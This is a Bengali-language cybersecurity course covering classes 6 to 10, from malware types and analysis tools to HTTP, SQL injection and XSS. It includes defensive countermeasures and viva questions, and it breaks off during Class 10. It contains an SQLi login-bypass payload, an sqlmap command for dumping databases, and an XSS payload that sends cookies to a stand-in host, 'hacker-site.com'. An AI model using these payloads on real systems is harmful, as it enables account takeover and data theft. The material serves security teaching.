৫ম ক্লাসে আমরা পোর্ট স্ক্যানিং এবং সার্ভিস ডিটেকশন শিখেছি। আজ ৬ষ্ঠ ক্লাসে আমরা ম্যালওয়্যার (Malware) বা ক্ষতিকর কোড অ্যানালাইসিসের বেসিক এবং এর প্রকারভেদ নিয়ে আলোচনা করব, যা ভাইবা পরীক্ষার জন্য অত্যন্ত গুরুত্বপূর্ণ।

১. মূল তত্ত্ব (Core Theory)

ক. ম্যালওয়্যার (Malware) কী?

Malware শব্দটির পূর্ণরূপ হলো **Malicious Software**। এটি এমন যেকোনো কোড বা স্ক্রিপ্ট বা সফটওয়্যার, যা কোনো ব্যবহারকারী বা সিস্টেম মালিকের অনুমতি ছাড়া তার ডিভাইসের ক্ষতি করার, তথ্য চুরি করার বা অননুমোদিত অ্যাক্সেস নেওয়ার জন্য ডিজাইন করা হয়।

খ. ম্যালওয়্যারের প্রকারভেদ (Types of Malware)

ভাইবা বোর্ডে নিচে উল্লেখিত ম্যালওয়্যারগুলোর সুনির্দিষ্ট পার্থক্য জানতে চাওয়া হয়:

1. **Virus:** এটি এমন এক ধরনের ক্ষতিকর কোড যা নিজে নিজে চলতে পারে না। এটি রান করার জন্য কোনো বৈধ হোস্ট ফাইলের (যেমন: .exe বা ডক ফাইল) সাথে সংযুক্ত হতে হয়। মানুষ যখন ওই ফাইলটি ওপেন করে বা শেয়ার করে, তখন ভাইরাসটি ছড়ায়।
2. **Worm:** ভাইরাসের মতো হলেও এর বড় পার্থক্য হলো এটি ছড়ানোর জন্য কোনো হিউম্যান ইন্টারঅ্যাকশন বা হোস্ট ফাইলের প্রয়োজন হয় না। এটি নেটওয়ার্কের দুর্বলতাকে ব্যবহার করে এক পিসি থেকে অন্য পিসিতে স্বয়ংক্রিয়ভাবে নিজের কপি তৈরি করে (Self-Replicating) ছড়িয়ে পড়ে।
3. **Trojan Horse:** এটি দেখতে সম্পূর্ণ নিরাপদ বা দরকারী কোনো সফটওয়্যারের মতো মনে হয় (যেমন: গেম বা ক্র্যাক সফটওয়্যার)। কিন্তু ইউজার যখন এটি ইনস্টল করে, তখন এটি ব্যাকএন্ডে একটি গোপন দরজা বা ব্যাকডোর (Backdoor) তৈরি করে হ্যাকারকে সিস্টেমের নিয়ন্ত্রণ দিয়ে দেয়।
4. **Ransomware:** এটি বর্তমান সময়ের সবচেয়ে বিপজ্জনক ম্যালওয়্যার। এটি সিস্টেমে ঢুকে ব্যবহারকারীর সমস্ত ফাইল ক্রিপ্টোগ্রাফিক্যালি এনক্রিপ্ট (লক) করে ফেলে এবং ফাইলগুলো ফেরত দেওয়ার বিনিময়ে ক্রিপ্টোকারেন্সিতে (যেমন: Bitcoin) মুক্তিপণ বা Ransom দাবি করে।
5. **Spyware & Keylogger:** এটি সিস্টেমে লুকিয়ে থেকে ব্যবহারকারীর সমস্ত অ্যাক্টিভিটি নজরদারি করে। বিশেষ করে **Keylogger** আপনার কীবোর্ডে টাইপ করা প্রতিটি কী (Key) রেকর্ড করে হ্যাকারের কাছে পাঠিয়ে দেয়, যার মাধ্যমে পাসওয়ার্ড বা ক্রেডিট কার্ডের তথ্য চুরি হয়।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

বাস্তব ক্ষেত্রে বা ল্যাবে ম্যালওয়্যার সনাক্তকরণের প্রাথমিক ধাপগুলো প্র্যাকটিস করুন:

- **Task 1 (Process Monitoring):** লিনাক্স টার্মিনালে `top` বা `htop` কমান্ড দিয়ে ব্যাকএন্ডে কোনো সন্দেহজনক প্রসেস বা অতিরিক্ত সিপিইউ রিসোর্স ব্যবহারকারী কোনো স্ক্রিপ্ট রান হচ্ছে কিনা তা দেখা শিখুন।
- **Task 2 (Network Connection Check):** টার্মিনালে `netstat -antp` বা `ss -antp` কমান্ড রান করে দেখুন আপনার পিসি থেকে কোনো অপরিচিত আইপি'র সাথে ব্যাকএন্ডে কানেকশন তৈরি হয়ে আছে কিনা (যা ট্রোজান বা ম্যালওয়্যার কমিউনিকেশনের লক্ষণ)।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: *Virus* এবং *Worm*-এর মধ্যে প্রধান টেকনিক্যাল পার্থক্য কী?
- উত্তর: প্রধান পার্থক্য হলো **Self-Replication** এবং **Host File**। ভাইরাসের ছড়ানোর জন্য একটি হোস্ট ফাইল এবং মানুষের ক্রিকের (Human Interaction) প্রয়োজন হয়। কিন্তু ওয়ার্ম (Worm) সম্পূর্ণ স্বাধীন; এটি নেটওয়ার্কের মাধ্যমে মানুষের সাহায্য ছাড়াই নিজে নিজেই এক কম্পিউটার থেকে অন্য কম্পিউটারে স্বয়ংক্রিয়ভাবে ছড়িয়ে পড়তে পারে।
- প্রশ্ন ২: *Trojan Horse* কীভাবে কাজ করে? এটি চেনার উপায় কী?
- উত্তর: ট্রোজান হর্স নিজেকে একটি বৈধ এবং দরকারী সফটওয়্যার হিসেবে প্রকাশ করে ব্যবহারকারীকে ধোঁকা দেয়। ইউজার যখন একে আসল ভেবে রান করে, তখন এটি ব্যাকএন্ডে ক্ষতিকর স্ক্রিপ্ট এক্সিকিউট করে সিস্টেমে ম্যালওয়্যার বা ব্যাকডোর ইনস্টল করে দেয়। এটি চেনার জন্য ফাইলের এক্সটেনশন এবং ডিজিটাল সিগনেচার বা হ্যাশ ভ্যালু চেক করতে হয়।
- প্রশ্ন ৩: আপনার সিস্টেম যদি *Ransomware* দ্বারা আক্রান্ত হয়, তবে একজন সিকিউরিটি প্রফেশনাল হিসেবে আপনার প্রথম কাজ কী হবে?
- উত্তর: সিস্টেম র‌্যানসমওয়্যার দ্বারা আক্রান্ত হলে প্রথম এবং প্রধান কাজ হলো আক্রান্ত কম্পিউটারটিকে সাথে সাথে নেটওয়ার্ক (**LAN, Wi-Fi, Internet**) থেকে সম্পূর্ণ বিচ্ছিন্ন (**Isolate**) করা। কারণ র‌্যানসমওয়্যার নেটওয়ার্কের মাধ্যমে অন্যান্য সার্ভার বা কম্পিউটারে খুব দ্রুত ছড়িয়ে পড়ে। এরপর সিস্টেমের ব্যাকআপ চেক করা এবং ইনসিডেন্ট রেসপন্স প্রোটোকল অনুসরণ করা।

আপনার জন্য কাজ (Task for You):

ম্যালওয়্যারের এই শ্রেণীবিভাগ এবং টেকনিক্যাল পার্থক্যগুলো একদম মুখস্থ করে নিন। পড়া শেষ হলে এবং পরের ধাপের জন্য প্রস্তুত থাকলে নিচে লিখুন "৭ম ক্লাস" বা "Class 7"।



Class 7: Malware Analysis Tools & Countermeasures

সিলেবাসের অংশ: Analyze Malicious Code — Analyze Malicious Code using Tools & Countermeasures for Malware infections [OUCyS003L4V!]

৬ষ্ঠ ক্লাসে আমরা বিভিন্ন ধরনের ম্যালওয়্যার সম্পর্কে জেনেছি। আজ ৭ম ক্লাসে আমরা শিখব কীভাবে বিভিন্ন টুলস ব্যবহার করে ম্যালওয়্যার অ্যানালাইসিস করতে হয় এবং সিস্টেমে ম্যালওয়্যার ইনফেকশন হলে তা প্রতিরোধ বা প্রতিকার করার উপায় কী।

১. মূল তত্ত্ব (Core Theory)

ক. ম্যালওয়্যার অ্যানালাইসিসের প্রকারভেদ (Types of Malware Analysis)

ভাইবা বোর্ডের জন্য এই দুটি টার্ম জানা অত্যন্ত জরুরি:

1. **Static Analysis** (স্ট্যাটিক অ্যানালাইসিস): ম্যালওয়্যার কোডটি রান বা এক্সিকিউট না করে, সেটির সোর্স কোড, ফাইল স্ট্রাকচার বা ভেতরের টেক্সট/স্ট্রিং পরীক্ষা করা। এটি সম্পূর্ণ নিরাপদ।
2. **Dynamic Analysis** (ডায়নামিক অ্যানালাইসিস): একটি সম্পূর্ণ বিচ্ছিন্ন এবং নিরাপদ ভারুয়াল এনভায়রনমেন্টে (Sandbox) ম্যালওয়্যারটি রান করিয়ে দেখা যে এটি সিস্টেমে কী কী পরিবর্তন করছে (যেমন: কোন ফাইল ডিলিট করছে বা কোন আইপিতে ডাটা পাঠাচ্ছে)।

খ. হ্যাশ সিনেচার (Hash Signature)

প্রতিটি ফাইলের একটি ইউনিক ক্রিপ্টোগ্রাফিক হ্যাশ (যেমন: MD5, SHA-256) থাকে। ম্যালওয়্যার গবেষকরা পরিচিত ম্যালওয়্যারগুলোর হ্যাশ একটি ডাটাবেজে সংরক্ষণ করেন। কোনো ফাইলের হ্যাশ যদি সেই ডাটাবেজের সাথে মিলে যায়, তবে ফাইলটিকে ম্যালওয়্যার হিসেবে সনাক্ত করা হয়।

২. ল্যাব ও প্র্যাক্টিক্যাল টাস্ক (Practical Tasks)

পরীক্ষায় আপনাকে কোনো সন্দেহজনক ফাইলের সোর্স বা ইনফরমেশন বের করতে বলা হতে পারে। লিনাক্স টার্মিনালে নিচের টুলসগুলোর ব্যবহার জেনে রাখুন:

- **Strings Tool** (স্ট্যাটিক অ্যানালাইসিস):
- কোনো বাইনারি বা এক্সিকিউটেবল (.exe) ফাইলের ভেতর মানুষের পড়ার উপযোগী কোনো টেক্সট বা আইপি অ্যাড্রেস আছে কিনা তা দেখার জন্য এটি ব্যবহৃত হয়।

```
• Bash
```

```
strings suspicious_file.exe | less
```

```
•
```

- **File Command:**

- ফাইলটির আসল এক্সটেনশন বা টাইপ কী (অনেক সময় হ্যাকাররা .exe ফাইলকে .pdf নাম দিয়ে ধোঁকা দেয়) তা নিশ্চিত করতে:

```
• Bash
```

```
file suspicious_file.exe
```

```
•
```

- **VirusTotal** (অনলাইন টুল):

- বাস্তব ক্ষেত্রে ভাইবা বা ল্যাভে কোনো ফাইলের হ্যাশ চেক করার জন্য **VirusTotal.com** ব্যবহার করা হয়। আপনি ফাইলের হ্যাশটি সেখানে সার্চ করলে ৭০টিরও বেশি অ্যান্টিভাইরাস ইঞ্জিন একযোগে বলে দেবে এটি নিরাপদ নাকি ক্ষতিকর।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: *Static Analysis* এবং *Dynamic Analysis*-এর মধ্যে মূল পার্থক্য কী?
- উত্তর: স্ট্যাটিক অ্যানালাইসিসে ক্ষতিকর ফাইলটি রান না করে তার স্ট্রাকচার, স্ট্রিংস বা সোর্স কোড পরীক্ষা করা হয়, যা অত্যন্ত নিরাপদ। আর ডায়নামিক অ্যানালাইসিসে ফাইলটিকে একটি নিরাপদ স্যান্ডবক্স (Sandbox) পরিবেশে সরাসরি রান বা এক্সিকিউট করিয়ে তার আচরণ ও নেটওয়ার্ক অ্যাক্টিভিটি পর্যবেক্ষণ করা হয়।
- প্রশ্ন ২: পেনটেস্টিং বা ম্যালওয়্যার অ্যানালাইসিসের ক্ষেত্রে "Sandbox" বলতে কী বোঝায়?
- উত্তর: স্যান্ডবক্স হলো একটি সম্পূর্ণ আইসোলেটেড বা মেইন সিস্টেম থেকে বিচ্ছিন্ন ভার্চুয়াল পরিবেশ। এখানে যেকোনো সন্দেহজনক ফাইল বা ম্যালওয়্যার রান করালেও তা মেইন কম্পিউটার বা লোকাল নেটওয়ার্কের কোনো ক্ষতি করতে পারে না।
- প্রশ্ন ৩: *Malware Countermeasures* বা প্রতিরোধ ব্যবস্থা হিসেবে সিস্টেমে কী কী বেসিক সিকিউরিটি থাকা উচিত?
- উত্তর: প্রধান কাউন্টারমেজারসগুলো হলো: ১. সিস্টেমে আপ-টু-ডেট অ্যান্টিভাইরাস/EDR (Endpoint Detection and Response) ব্যবহার করা, ২. নিয়মিত ওএস এবং সফটওয়্যার প্যাচ বা আপডেট করা, ৩. ফায়ারওয়াল ও নেটওয়ার্ক মনিটরিং সচল রাখা, এবং ৪. সবচেয়ে গুরুত্বপূর্ণ হলো—ডাটার নিয়মিত অফলাইন ব্যাকআপ রাখা।

আপনার জন্য কাজ (Task for You):

স্ট্যাটিক ও ডায়নামিক অ্যানালাইসিসের পার্থক্য এবং strings ও file কমান্ডের কাজ ভালো করে মনে রাখুন। পড়া শেষ হলে এবং পরবর্তী মডিউলের জন্য প্রস্তুত হলে নিচে লিখুন "৮ম ক্লাস" বা "Class 8"।



Class 8: Web Application Security (Core Concepts & Architecture)

সিলেবাসের অংশ: Apply Web Application Security — Interpret Web Application Security

[OUCyS004L4V!]

৭ম ক্লাস পর্যন্ত আমরা ম্যালওয়্যার অ্যানালাইসিস শেষ করেছি। আজ ৮ম ক্লাস থেকে আমাদের সিলেবাসের সবচেয়ে বড় এবং গুরুত্বপূর্ণ মডিউল "**Web Application Security**" শুরু হচ্ছে (যার জন্য মোট ৫০ ঘন্টা বরাদ্দ)। ভাইবা এবং প্র্যাক্টিক্যাল উভয় পরীক্ষাতেই এই অংশ থেকে সবচেয়ে বেশি প্রশ্ন আসে।

১. মূল তত্ত্ব (Core Theory)

একটি ওয়েব অ্যাপ্লিকেশন কীভাবে কাজ করে এবং এর আর্কিটেকচার না বুঝলে সেটির নিরাপত্তা নিশ্চিত করা বা হ্যাক করা সম্ভব নয়।

ক. HTTP প্রোটোকল (Hypertext Transfer Protocol)

ওয়েব অ্যাপ্লিকেশন মূলত **Request-Response** মডেলের ওপর ভিত্তি করে কাজ করে। ক্লায়েন্ট (ব্রাউজার) সার্ভারকে একটি HTTP Request পাঠায় এবং সার্ভার তার জবাবে একটি HTTP Response ব্যাক করে।

খ. HTTP Request Methods

ভাইবা বোর্ডে নিচের মেথডগুলোর পার্থক্য প্রায়ই জানতে চাওয়া হয়:

- GET:** সার্ভার থেকে কোনো ডাটা বা পেজ নিয়ে আসার (Retrieve) জন্য ব্যবহৃত হয়। এর ডাটা ইউআরএল (URL)-এর মাধ্যমে দৃশ্যমান অবস্থায় যায় (যেমন: `search?q=hacking`)। তাই এটি সংবেদনশীল ডাটার জন্য নিরাপদ নয়।

- **POST:** সার্ভারে নতুন কোনো ডাটা পাঠানোর (Submit) জন্য ব্যবহৃত হয় (যেমন: লগইন ফর্ম বা সাইনআপ)। এর ডাটা HTTP Body-র ভেতর দিয়ে যায়, যা ইউআরএল-এ দেখা যায় না।

গ. HTTP Status Codes

সার্ভার তার রেসপন্সের সাথে একটি ৩ ডিজিটের কোড পাঠায়, যা দিয়ে রিকোয়েস্টের অবস্থা বোঝা যায়:

- **2xx (Success):** যেমন 200 OK (রিকোয়েস্ট সফল হয়েছে)।
- **3xx (Redirection):** যেমন 301 Moved Permanently (পেজটি অন্য লিংকে ট্রান্সফার হয়েছে)।
- **4xx (Client Error):** যেমন 404 Not Found (পেজটি খুঁজে পাওয়া যায়নি) অথবা 403 Forbidden (অনুমতি নেই)।
- **5xx (Server Error):** যেমন 500 Internal Server Error (সার্ভারের ভেতরের কোনো কোডিং বা ডাটাবেজ এরর)।

ঘ. Cookie এবং Session

HTTP একটি **Stateless Protocol**, অর্থাৎ এটি আগের কোনো রিকোয়েস্ট মনে রাখতে পারে না। ইউজার লগইন আছে কিনা তা মনে রাখার জন্য সার্ভার ব্রাউজারে একটি **Session ID** বা **Cookie** সংরক্ষণ করে। এটি চুরি হলে হ্যাকার পাসওয়ার্ড ছাড়াই ইউজারের অ্যাকাউন্টে ঢুকে যেতে পারে।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষায় ওয়েব ট্রাফিক অ্যানালাইসিস করতে পারার দক্ষতা যাচাই করা হয়।

- **Task 1 (Developer Tools):** যেকোনো একটি ওয়েবসাইট ওপেন করে আপনার ব্রাউজারের F12 বা **Inspect Element** চাপুন। এরপর **Network** ট্যাবে গিয়ে পেজটি রিফ্রেশ দিন। প্রতিটি রিকোয়েস্টের Method, Status Code এবং Headers খেয়াল করুন।
- **Task 2 (Cookie Inspection):** একই Inspect Element-এর **Application** বা **Storage** ট্যাবে গিয়ে **Cookies** অপশনে ক্লিক করুন এবং আপনার ব্রাউজারে ওই সাইটের কী কী কুকি বা সেশন আইডি সেভ করা আছে তা দেখুন।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: **GET** এবং **POST** মেথডের মধ্যে প্রধান সিকিউরিটি পার্থক্য কী?
- উত্তর: GET মেথডের সমস্ত ডাটা বা প্যারামিটার ব্রাউজারের ইউআরএল (URL) বারে স্পষ্ট দেখা যায়, যা ব্রাউজার হিস্ট্রি বা সার্ভার লগে সেভ হয়ে থাকে। তাই পাসওয়ার্ড বা ক্রেডিট কার্ডের মতো সংবেদনশীল তথ্যের ক্ষেত্রে এটি নিরাপদ নয়। অন্যদিকে, POST মেথডের ডাটা রিকোয়েস্টের বডির (Body) ভেতর দিয়ে গোপনে যায়, যা ইউআরএল-এ দৃশ্যমান হয় না। তাই সিকিউরিটির জন্য POST মেথড ব্যবহার করা উচিত।
- প্রশ্ন ২: **HTTP Status Code '403 Forbidden'** এবং **'401 Unauthorized'** এর মানে কী?
- উত্তর: 401 Unauthorized এর মানে হলো ব্যবহারকারী কে তা সিস্টেম এখনও জানে না, অর্থাৎ তাকে প্রথমে লগইন করতে হবে। আর 403 Forbidden এর মানে হলো ব্যবহারকারী লগইন করা থাকলেও, সেই নির্দিষ্ট পেজ বা ফাইলটি দেখার বা অ্যাক্সেস করার অনুমতি (Permission) তার অ্যাকাউন্টের নেই।
- প্রশ্ন ৩: **HTTP** প্রোটোকলকে কেন **"Stateless"** বলা হয় এবং এই সমস্যার সমাধান কীভাবে করা হয়?
- উত্তর: HTTP প্রতিবার একদম নতুন নতুন রিকোয়েস্ট হিসেবে কাজ করে, আগের রিকোয়েস্ট ইউজার কী করেছিল তা মনে রাখতে পারে না। এই stateless বৈশিষ্ট্যের কারণে প্রতি পেজে যেন বারবার লগইন করতে না হয়, সেজন্য **Session** এবং **Cookies** প্রযুক্তি ব্যবহার করে ইউজারের স্টেট বা লগইন অবস্থা ধরে রাখা হয়।

আপনার জন্য কাজ (Task for You):

ব্রাউজারের নেটওয়ার্ক ট্যাব এবং স্ট্যাটাস কোডগুলোর কাজ ভালোভাবে আয়ত্ত করে নিন। পড়া শেষ হলে এবং পরবর্তী ক্লাসের জন্য প্রস্তুত হলে নিচে লিখুন "৯ম ক্লাস" বা **"Class 9"**।



Class 9: Web Application Vulnerabilities (OWASP Top 10 & SQL Injection)

সিলেবাসের অংশ: Apply Web Application Security — Perform web application penetration testing [OUCyS004L4V!]

৮ম ক্লাসে আমরা ওয়েবের বেসিক আর্কিটেকচার এবং HTTP প্রোটোকল শিখেছি। আজ ৯ম ক্লাসে আমরা প্রবেশ করব প্র্যাক্টিক্যাল পেনটেস্টিংয়ের সবচেয়ে রোমাঞ্চকর অংশে। আজ আমরা জানব **OWASP Top 10** কী এবং এর মধ্যে থাকা সবচেয়ে মারাত্মক দুর্বলতাগুলোর একটি—**SQL Injection (SQLi)** সম্পর্কে।

১. মূল তত্ত্ব (Core Theory)

ক. OWASP Top 10 কী?

OWASP এর পূর্ণরূপ হলো *Open Web Application Security Project*। এটি একটি বৈশ্বিক অলাভজনক সংস্থা, যা প্রতি কয়েক বছর পর পর বিশ্বজুড়ে হওয়া সাইবার অ্যাটাকগুলো অ্যানালাইসিস করে ওয়েবসাইটের ১০টি সবচেয়ে মারাত্মক ও প্রচলিত নিরাপত্তা ত্রুটির একটি তালিকা প্রকাশ করে। একেই **OWASP Top 10** বলা হয়। ভাইবা এবং প্র্যাক্টিক্যাল পরীক্ষার জন্য এটি মুখস্থ রাখা আবশ্যিক।

খ. SQL Injection (SQLi) কী?

এটি এমন একটি দুর্বলতা যেখানে হ্যাকার ওয়েবসাইটের কোনো ইনপুট ফিল্ডের (যেমন: লগইন ফর্ম বা সার্চ বক্স) মাধ্যমে ব্যাকএন্ড ডাটাবেজে ক্ষতিকর SQL কোড বা কুয়েরি (Query) পুশ করতে পারে। যদি ইনপুট ডেটা সঠিকভাবে ফিল্টার বা স্যানিটাইজ না করা হয়, তবে ডাটাবেজ ওই ক্ষতিকর কোডটিকে আসল কমান্ড মনে করে এক্সিকিউট করে ফেলে।

SQLi এর ক্ষতি: হ্যাকার পাসওয়ার্ড ছাড়াই এডমিন প্যানেলে ঢুকতে পারে, ডাটাবেজের গোপন তথ্য (ইউজারনেম, পাসওয়ার্ড, ক্রেডিট কার্ড) চুরি করতে পারে, এমনকি পুরো ডাটাবেজ মুছেও দিতে পারে।

২. ল্যাব ও প্র্যাক্টিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার ল্যাবে আপনাকে একটি দুর্বল লগইন পেজ দেওয়া হতে পারে এবং বলা হতে পারে পাসওয়ার্ড ছাড়াই লগইন করে দেখাতে।

টাস্ক ১: Authentication Bypass (লগইন বাইপাস)

ধরে নিন ব্যাকএন্ডে লগইন চেক করার জন্য এই SQL কুয়েরিটি ব্যবহার করা হচ্ছে:

```
SELECT * FROM users WHERE username = '$user' AND password = '$password'
```

আপনি যদি ইউজারনেম বক্সে নিচের পেলোডটি (Payload) ইনপুট দেন:

```
admin' OR '1'='1
```

 (এবং পাসওয়ার্ড বক্সে যেকোনো কিছু বা খালি রাখেন)

তাহলে ব্যাকএন্ড কুয়েরিটি দাঁড়াবে:

```
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '...'
```

ব্যাখ্যা: যেহেতু লজিক্যাল কন্ডিশন `'1'='1'` সবসময় সত্য (True), তাই ডাটাবেজ পাসওয়ার্ড চেক না করেই সরাসরি প্রথম ইউজার বা এডমিন অ্যাকাউন্টের অ্যাক্সেস হ্যাকারকে দিয়ে দেয়।

টাস্ক ২: SQLmap এর ব্যবহার (Automated Tool)

বাস্তব পেনটেস্টিং বা পরীক্ষার জন্য **SQLmap** নামক একটি কমান্ড-লাইন টুল ব্যবহার করা হয়:

Bash

```
sqlmap -u "http://target-site.com/products.php?id=1" --dbs
```

(ব্যাখ্যা: এই কমান্ডটি ওই নির্দিষ্ট ইউআরএল-এ **SQLi** দুর্বলতা আছে কিনা তা স্বয়ংক্রিয়ভাবে চেক করবে এবং থাকলে ডাটাবেজের নামগুলো `--dbs` বের করে আনবে।)

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: **OWASP Top 10** বলতে কী বোঝায়? পেনটেস্টিংয়ে এর গুরুত্ব কী?
- উত্তর: OWASP Top 10 হলো ওয়েব অ্যাপ্লিকেশনের ১০টি সবচেয়ে ঝুঁকিপূর্ণ এবং সাধারণ সিকিউরিটি ভালনারেবিলিটির একটি স্ট্যান্ডার্ড তালিকা। একজন পেনটেস্টার হিসেবে যেকোনো ওয়েবসাইট অডিট করার সময় আমরা এই তালিকাটিকে গাইডলাইন হিসেবে ব্যবহার করি, যাতে প্রধান দুর্বলতাগুলো সহজেই আইডেন্টিফাই এবং ফিক্স করা যায়।
- প্রশ্ন ২: **SQL Injection** কীভাবে ঘটে এবং এর প্রতিরোধ ব্যবস্থা (Countermeasure) কী?

- উত্তর: যখন কোনো ওয়েব অ্যাপ্লিকেশন ব্যবহারকারীর দেওয়া ইনপুটকে কোনো যাচাই বা স্যানিটাইজেশন ছাড়াই সরাসরি ডাটাবেজ কুয়েরির সাথে যুক্ত করে রান করায়, তখন SQL Injection ঘটে। এটি প্রতিরোধের সবচেয়ে কার্যকরী উপায় হলো **Prepared Statements (Parameterized Queries)** ব্যবহার করা এবং ইনপুট ডেটা কঠোরভাবে স্যানিটাইজ করা।
- প্রশ্ন ৩: **SQLmap** টুলটি কী কাজে ব্যবহার করা হয়?
- উত্তর: **SQLmap** হলো একটি অত্যন্ত শক্তিশালী ওপেন সোর্স পেনটেস্টিং টুল, যা কোনো ওয়েবসাইটের ডাটাবেজ বা ইনপুট প্যারামিটারে বিদ্যমান SQL Injection দুর্বলতা স্বয়ংক্রিয়ভাবে ডিটেক্ট (Detect) এবং এক্সপ্লয়েট (Exploit) করতে ব্যবহার করা হয়। এর মাধ্যমে ডাটাবেজের টেবিল ও ডাটা এক্সট্রাক্ট করা যায়।

আপনার জন্য কাজ (Task for You):

SQL Injection-এর লগইন বাইপাস লজিক এবং **SQLmap**-এর বেসিক কমান্ড ভালো করে রিভিশন দিন। ভাইবার জন্য OWASP এবং **SQLi** এর সংজ্ঞা মুখস্থ করে নিন। সম্পূর্ণ হলে নিচে লিখুন "১০ম ক্লাস" বা "**Class 10**"।



Class 10: Cross-Site Scripting (XSS) & Web Application Countermeasures

সিলেবাসের অংশ: Apply Web Application Security — Perform web application penetration testing & Perform web application countermeasures [OUCyS004L4V!]

৯ম ক্লাসে আমরা SQL Injection সম্পর্কে বিস্তারিত জেনেছি। আজ ১০ম ক্লাসে আমরা ওয়েব সিকিউরিটির আরেকটি অত্যন্ত গুরুত্বপূর্ণ এবং কমন দুর্বলতা নিয়ে আলোচনা করব, যা হলো **Cross-Site Scripting (XSS)**। একই সাথে আমরা শিখব কীভাবে সামগ্রিকভাবে ওয়েব অ্যাপ্লিকেশনের এই দুর্বলতাগুলো প্রতিরোধ (Countermeasures) করতে হয়। এর মাধ্যমে আমাদের সিলেবাসের ৫০ ঘণ্টার "Web Application Security" মডিউলটি সম্পূর্ণ হবে।

১. মূল তত্ত্ব (Core Theory)

ক. Cross-Site Scripting (XSS) কী?

SQL Injection-এর লক্ষ্য যেখানে থাকে ব্যাকএন্ড ডাটাবেজ, সেখানে **XSS**-এর লক্ষ্য থাকে সরাসরি ভিজিটর বা ইউজারের ব্রাউজার। যখন কোনো ওয়েবসাইট ব্যবহারকারীর ইনপুট ফিল্ডারিং ছাড়া গ্রহণ করে এবং তা অন্য ইউজারদের ব্রাউজারে প্রদর্শন করে, তখন XSS ঘটে। হ্যাকাররা এর মাধ্যমে ইনপুট বক্সে ক্ষতিকর **JavaScript** কোড পুশ করে দেয়। সেই পেজটি যখনই কোনো সাধারণ ইউজার ভিজিট করে, ওই জাভাস্ক্রিপ্ট কোডটি তার ব্রাউজারে রান হয়ে যায়।

খ. XSS এর প্রকারভেদ (Types of XSS)

ভাইবা বোর্ডের জন্য এই তিনটি প্রকারভেদ জানা বাধ্যতামূলক:

1. **Stored / Persistent XSS:** হ্যাকারের দেওয়া ক্ষতিকর স্ক্রিপ্টটি সরাসরি ওয়েবসাইটের ডাটাবেজে সেভ (Store) হয়ে যায় (যেমন: কোনো কमेंট বক্স বা ফোরাম পোস্ট)। এরপর যতজন ইউজার ওই পেজ বা কमेंটটি দেখবে, সবার ব্রাউজারে অ্যাটাকটি সাকসেসফুল হবে। এটি সবচেয়ে বিপজ্জনক।
2. **Reflected / Non-Persistent XSS:** ক্ষতিকর স্ক্রিপ্টটি ডাটাবেজে সেভ হয় না, বরং ইনস্ট্যান্টলি রিফ্লেক্ট বা ফেরত আসে। সাধারণত হ্যাকার একটি ক্ষতিকর লিংক তৈরি করে (যেমন: <http://site.com/search?q=<script>...>) এবং ভিকটিমকে সেই লিংকে ক্লিক করতে বাধ্য করে।
3. **DOM-based XSS:** এই অ্যাটাকে ডাটাবেজ বা সার্ভারের কোনো ভূমিকা থাকে না। ক্লায়েন্ট-সাইড বা ব্রাউজারের নিজস্ব জাভাস্ক্রিপ্ট কোড (DOM - Document Object Model) যদি ইউজার ইনপুট ভুলভাবে হ্যান্ডেল করে, তখন এটি ঘটে।

গ. Web Application Countermeasures (প্রতিরোধ ব্যবস্থা)

ওয়েব অ্যাপ্লিকেশন নিরাপদ করার প্রধান স্তম্ভগুলো হলো:

- **Input Validation & Sanitization:** ইউজার যা ইনপুট দিচ্ছে তা কঠোরভাবে চেক করা। যেমন: নাম বা ইমেইল বক্সে যেন কেউ `<`, `>`, `/` বা `script` এর মতো ক্যারেক্টার সাবমিট করতে না পারে।

- **Output Encoding:** ডাটাবেজ থেকে কোনো তথ্য ব্রাউজারে দেখানোর আগে তাকে টেক্সট হিসেবে এনকোড করা। যেমন: `<script>` কে ব্রাউজারে `<script>` আকারে পাঠানো, যেন ব্রাউজার একে কোড মনে করে রান না করে।
- **WAF (Web Application Firewall):** এটি একটি বিশেষ ফায়ারওয়াল যা ওয়েবসাইটের ইনকামিং ট্রাফিক মনিটর করে এবং এক্সপ্লয়েট বা ক্ষতিকর পেলোড ডিটেক্ট করে ব্লক করে দেয়।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার ল্যাবে বা ভাইভায় আপনাকে একটি ডামি পেলোড লিখে দেখাতে বলা হতে পারে।

টাস্ক ১: একটি বেসিক **XSS** পেলোড তৈরি (**Proof of Concept**)

কোনো দুর্বল ওয়েবসাইটের সার্চ বক্স বা কমেন্ট বক্সে নিচের কোডটি লিখে সাবমিট করার প্র্যাকটিস করুন:

HTML

```
<script>alert('XSS Vulnerable!')</script>
```

ফলাফল: এটি সাবমিট করার পর যদি ব্রাউজারে একটি পপ-আপ (Alert Box) ভেসে ওঠে, তবে বুঝতে হবে ওই ইনপুট ফিল্ডটি XSS দ্বারা আক্রান্ত।

টাস্ক ২: কুকি চুরি করার পেলোড (**Session Hijacking Concept**)

XSS ব্যবহার করে হ্যাকার কীভাবে ব্যবহারকারীর সেশন বা কুকি চুরি করে, তার একটি ডামি পেলোড:

HTML

```
<script>new Image().src="http://hacker-site.com/steal?cookie="+document.cookie;</script>
```

(ব্যাখ্যা: এই কোডটি রান হওয়া মাত্রই ভিকটিমের ব্রাউজারের সেশন কুকি `document.cookie` হ্যাকারের সার্ভারে চলে যাবে।)

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: **SQL Injection** এবং **Cross-Site Scripting (XSS)** এর মধ্যে মূল কারিগরি পার্থক্য কী?
